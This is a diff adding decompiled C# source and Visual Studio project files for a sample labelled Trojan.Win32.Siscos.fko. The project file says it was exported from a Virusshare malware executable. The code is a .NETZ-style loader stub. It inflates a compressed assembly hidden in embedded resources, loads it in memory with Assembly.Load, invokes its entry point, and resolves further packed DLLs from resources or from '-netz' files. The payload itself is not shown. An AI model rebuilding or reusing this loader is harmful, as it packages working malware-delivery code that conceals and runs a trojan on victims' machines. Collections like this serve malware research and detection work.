+    }
+
+    private static void InitXR()
+    {
+      try
+      {
+        string str1 = "file:\\";
+        string str2 = "-netz.resources";
+        string str3 = Path.GetDirectoryName(Assembly.GetEntryAssembly().Location);
+        if (str3.StartsWith(str1))
+          str3 = str3.Substring(str1.Length, str3.Length - str1.Length);
+        string[] files = Directory.GetFiles(str3, "*" + str2);
+        if (files == null || files.Length <= 0)
+          return;
+        NetzStarter.xrRm = new ArrayList();
+        for (int index = 0; index < files.Length; ++index)
+        {
+          string fileName = Path.GetFileName(files[index]);
+          ResourceManager basedResourceManager = ResourceManager.CreateFileBasedResourceManager(fileName.Substring(0, fileName.Length - str2.Length) + "-netz", str3, (System.Type) null);
+          if (basedResourceManager != null)
+            NetzStarter.xrRm.Add((object) basedResourceManager);
+        }
+      }
+      catch
+      {
+      }
+    }
+
+    public static int StartApp(string[] args) => NetzStarter.InvokeApp(NetzStarter.GetAssembly(NetzStarter.GetResource("A6C24BF5-3690-4982-887E-11E1B159B249") ?? throw new Exception("application data cannot be found")), args);
+
+    private static Assembly GetAssembly(byte[] data)
+    {
+      MemoryStream memoryStream = (MemoryStream) null;
+      try
+      {
+        memoryStream = NetzStarter.UnZip(data);
+        memoryStream.Seek(0L, SeekOrigin.Begin);
+        return Assembly.Load(memoryStream.ToArray());
+      }
+      finally
+      {
+        memoryStream?.Close();
+      }
+    }
+
+    private static Assembly LoadZipDll()
+    {
+      MemoryStream memoryStream = (MemoryStream) null;
+      try
+      {
+        byte[] resource = NetzStarter.GetResource("zip.dll");
+        if (resource == null)
+          return (Assembly) null;
+        memoryStream = new MemoryStream(resource);
+        return Assembly.Load(memoryStream.ToArray());
+      }
+      catch
+      {
+        return (Assembly) null;
+      }
+      finally
+      {
+        memoryStream?.Close();
+      }
+    }
+
+    private static int InvokeApp(Assembly assembly, string[] args)
+    {
+      MethodInfo entryPoint = assembly.EntryPoint;
+      ParameterInfo[] parameters1 = entryPoint.GetParameters();
+      object[] parameters2 = (object[]) null;
+      if (parameters1 != null && parameters1.Length > 0)
+        parameters2 = new object[1]{ (object) args };
+      object obj = entryPoint.Invoke((object) null, parameters2);
+      return obj == null || !(obj is int num) ? 0 : num;
+    }
+
+    private static Assembly NetzResolveEventHandler(object sender, ResolveEventArgs args) => NetzStarter.inResourceResolveFlag ? (Assembly) null : NetzStarter.GetAssemblyByName(args.Name);
+
+    private static byte[] GetResource(string id)
+    {
+      byte[] resource = (byte[]) null;
+      if (NetzStarter.rm == null)
+        NetzStarter.rm = new ResourceManager("app", Assembly.GetExecutingAssembly());
+      try
+      {
+        NetzStarter.inResourceResolveFlag = true;
+        string name = NetzStarter.MangleDllName(id);
+        if (resource == null && NetzStarter.xrRm != null)
+        {
+          for (int index = 0; index < NetzStarter.xrRm.Count; ++index)
+          {
+            try
+            {
+              ResourceManager resourceManager = (ResourceManager) NetzStarter.xrRm[index];
+              if (resourceManager != null)
+                resource = (byte[]) resourceManager.GetObject(name);
+            }
+            catch
+            {
+            }
+            if (resource != null)
+              break;
+          }
+        }
+        if (resource == null)
+          resource = (byte[]) NetzStarter.rm.GetObject(name);
+      }
+      finally
+      {
+        NetzStarter.inResourceResolveFlag = false;
+      }
+      return resource;
+    }
+
+    private static string MangleDllName(string dll) => dll.Replace(" ", "!1").Replace(",", "!2").Replace(".Resources", "!3").Replace(".resources", "!3").Replace("Culture", "!4");
+
+    private static MemoryStream UnZip(byte[] data)
+    {
+      if (data == null)
+        return (MemoryStream) null;
+      MemoryStream memoryStream1 = (MemoryStream) null;
+      MemoryStream memoryStream2 = (MemoryStream) null;
+      InflaterInputStream inflaterInputStream = (InflaterInputStream) null;
+      try
+      {
+        memoryStream1 = new MemoryStream(data);
+        memoryStream2 = new MemoryStream();
+        inflaterInputStream = new InflaterInputStream((Stream) memoryStream1);
+        byte[] buffer = new byte[data.Length];
+        while (true)
+        {
+          int count = ((Stream) inflaterInputStream).Read(buffer, 0, buffer.Length);
+          if (count > 0)
+            memoryStream2.Write(buffer, 0, count);
+          else
+            break;
+        }
+        memoryStream2.Flush();
+        memoryStream2.Seek(0L, SeekOrigin.Begin);
+      }
+      finally
+      {
+        memoryStream1?.Close();
+        ((Stream) inflaterInputStream)?.Close();
+      }
+      return memoryStream2;
+    }
+
+    private static byte[] ResolveDLL(StringDictionary assName)
+    {
+      string path2 = assName[NetzStarter.Culture];
+      string str1 = assName[NetzStarter.Name];
+      bool flag = path2 == null || path2.ToLower().Equals("neutral");
+      AppDomain currentDomain = AppDomain.CurrentDomain;
+      StringCollection probePaths1 = new StringCollection();
+      string path1 = currentDomain.SetupInformation.ApplicationBase;
+      if (!flag)
+        path1 = Path.Combine(path1, path2);
+      probePaths1.Add(path1);
+      probePaths1.Add(Path.Combine(path1, str1));
+      byte[] numArray = NetzStarter.ProbeDirs(probePaths1, str1);
+      if (numArray != null)
+        return numArray;
+      StringCollection probePaths2 = new StringCollection();
+      string privateBinPath = currentDomain.SetupInformation.PrivateBinPath;
+      if (privateBinPath == null || privateBinPath.Trim().Length <= 0)
+        return (byte[]) null;
+      string str2 = privateBinPath;
+      char[] chArray1 = new char[1]{ Path.PathSeparator };
+      foreach (string str3 in str2.Split(chArray1))
+      {
+        char[] chArray2 = new char[3]
+        {
+          ' ',
+          '\t',
+          Path.PathSeparator
+        };
+        string str4 = str3.Trim(chArray2);
+        if (!Path.IsPathRooted(str4))
+          str4 = Path.Combine(currentDomain.SetupInformation.ApplicationBase, str4);
+        if (!flag)
+          str4 = Path.Combine(str4, path2);
+        probePaths2.Add(str4);
+        probePaths2.Add(Path.Combine(str4, str1));
+      }
+      return NetzStarter.ProbeDirs(probePaths2, str1);
+    }
+
+    private static byte[] ProbeDirs(StringCollection probePaths, string assName)
+    {
+      for (int index = 0; index < probePaths.Count; ++index)
+      {
+        string str = Path.Combine(probePaths[index], assName + NetzStarter.NetzSuffix);
+        if (File.Exists(str))
+          return NetzStarter.ReadFile(str);
+      }
+      return (byte[]) null;
+    }
+
+    private static byte[] ReadFile(string file)
+    {
+      FileStream fileStream = (FileStream) null;
+      byte[] buffer = (byte[]) null;
+      try
+      {
+        fileStream = File.OpenRead(file);
+        buffer = new byte[fileStream.Length];
+        fileStream.Read(buffer, 0, buffer.Length);
+        fileStream.Flush();
+      }
+      finally
+      {
+        fileStream?.Close();
+      }
+      return buffer;
+    }
+
+    private static void Log(string s)
+    {
+      int num = (int) MessageBox.Show((IWin32Window) null, s, "Error");
+    }
+
+    private static Assembly GetAssemblyByName(string name)
+    {
+      if (name == null)
+        return (Assembly) null;
+      if (NetzStarter.cache == null)
+        NetzStarter.cache = new HybridDictionary();
+      name = name.Trim();
+      string lower = name.ToLower();
+      if (NetzStarter.cache[(object) lower] != null)
+        return (Assembly) NetzStarter.cache[(object) lower];
+      StringDictionary assName = NetzStarter.ParseAssName(name);
+      string str = assName[NetzStarter.Name];
+      if (str == null)
+        return (Assembly) null;
+      byte[] numArray = (byte[]) null;
+      if (str.ToLower().Equals("zip"))
+      {
+        Assembly assemblyByName = NetzStarter.LoadZipDll();
+        NetzStarter.cache[(object) lower] = (object) assemblyByName;
+        return assemblyByName;
+      }
+      byte[] data = (((NetzStarter.GetResource(name) ?? NetzStarter.GetResource(name.ToLower())) ?? NetzStarter.GetResource(str)) ?? NetzStarter.GetResource(str.ToLower())) ?? NetzStarter.GetResource(Path.GetFileNameWithoutExtension(str).ToLower());
+      if (data == null)
+      {
+        try
+        {
+          data = NetzStarter.ResolveDLL(assName);
+        }
+        catch
+        {
+          data = (byte[]) null;
+        }
+      }
+      if (data == null)
+        return (Assembly) null;
+      Assembly assembly = NetzStarter.GetAssembly(data);
+      numArray = (byte[]) null;
+      NetzStarter.cache[(object) lower] = (object) assembly;
+      return assembly;
+    }
+
+    private static StringDictionary ParseAssName(string fullAssName)
+    {
+      StringDictionary assName = new StringDictionary();
+      string str1 = fullAssName;
+      char[] chArray1 = new char[1]{ ',' };
+      foreach (string str2 in str1.Split(chArray1))
+      {
+        char[] chArray2 = new char[2]{ ' ', ',' };
+        string[] strArray = str2.Trim(chArray2).Split('=');
+        if (strArray.Length < 2)
+          assName.Add(NetzStarter.Name, strArray[0]);
+        else
+          assName.Add(strArray[0].Trim(' ', '='), strArray[1].Trim(' ', '='));
+      }
+      return assName;
+    }
+  }
+}

MSIL/Trojan/Win32/S/Trojan.Win32.Siscos.fko-1594ee3951430181712cd4aebbcba9a2fe610b636b2887dfcd300e610216a25d/Trojan.Win32.Siscos.fko.csproj

@@ -0,0 +1,44 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Siscos.fko-1594ee3951430181712cd4aebbcba9a2fe610b636b2887dfcd300e610216a25d.exe-->
+  <PropertyGroup>
+    <Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
+    <Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
+    <ProjectGuid>{E95D0C21-7660-4B21-9B81-62F7EACBBEC3}</ProjectGuid>
+    <OutputType>WinExe</OutputType>
+    <AssemblyName>framework</AssemblyName>
+    <ApplicationVersion>0.0.0.0</ApplicationVersion>
+    <RootNamespace>netz</RootNamespace>
+  </PropertyGroup>
+  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
+    <PlatformTarget>AnyCPU</PlatformTarget>
+    <DebugSymbols>true</DebugSymbols>
+    <DebugType>full</DebugType>
+    <Optimize>false</Optimize>
+    <OutputPath>bin\Debug\</OutputPath>
+    <DefineConstants>DEBUG;TRACE</DefineConstants>
+    <ErrorReport>prompt</ErrorReport>
+    <WarningLevel>4</WarningLevel>
+  </PropertyGroup>
+  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
+    <PlatformTarget>AnyCPU</PlatformTarget>
+    <DebugType>pdbonly</DebugType>
+    <Optimize>true</Optimize>
+    <OutputPath>bin\Release\</OutputPath>
+    <DefineConstants>TRACE</DefineConstants>
+    <ErrorReport>prompt</ErrorReport>
+    <WarningLevel>4</WarningLevel>
+  </PropertyGroup>
+  <ItemGroup>
+    <Reference Include="System" />
+    <Reference Include="System.Windows.Forms" />
+  </ItemGroup>
+  <ItemGroup>
+    <Compile Include="NetzStarter.cs" />
+    <Compile Include="AssemblyInfo.cs" />
+  </ItemGroup>
+  <ItemGroup>
+    <EmbeddedResource Include="app.resx" />
+  </ItemGroup>
+  <Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
+</Project>

MSIL/Trojan/Win32/S/Trojan.Win32.Siscos.fko-1594ee3951430181712cd4aebbcba9a2fe610b636b2887dfcd300e610216a25d/Trojan.Win32.Siscos.fko.sln

@@ -0,0 +1,20 @@
+
+Microsoft Visual Studio Solution File, Format Version 9.00
+# Visual Studio 2005
+Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "framework", "Trojan.Win32.Siscos.fko-1594ee3951430181712cd4aebbcba9a2fe610b636b2887dfcd300e610216a25d.csproj", "{E95D0C21-7660-4B21-9B81-62F7EACBBEC3}"
+EndProject
+Global
+	GlobalSection(SolutionConfigurationPlatforms) = preSolution
+		Debug|Any CPU = Debug|Any CPU
+		Release|Any CPU = Release|Any CPU
+	EndGlobalSection
+	GlobalSection(ProjectConfigurationPlatforms) = postSolution
+		{E95D0C21-7660-4B21-9B81-62F7EACBBEC3}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+		{E95D0C21-7660-4B21-9B81-62F7EACBBEC3}.Debug|Any CPU.Build.0 = Debug|Any CPU
+		{E95D0C21-7660-4B21-9B81-62F7EACBBEC3}.Release|Any CPU.ActiveCfg = Release|Any CPU
+		{E95D0C21-7660-4B21-9B81-62F7EACBBEC3}.Release|Any CPU.Build.0 = Release|Any CPU
+	EndGlobalSection
+	GlobalSection(SolutionProperties) = preSolution
+		HideSolutionNode = FALSE
+	EndGlobalSection
+EndGlobal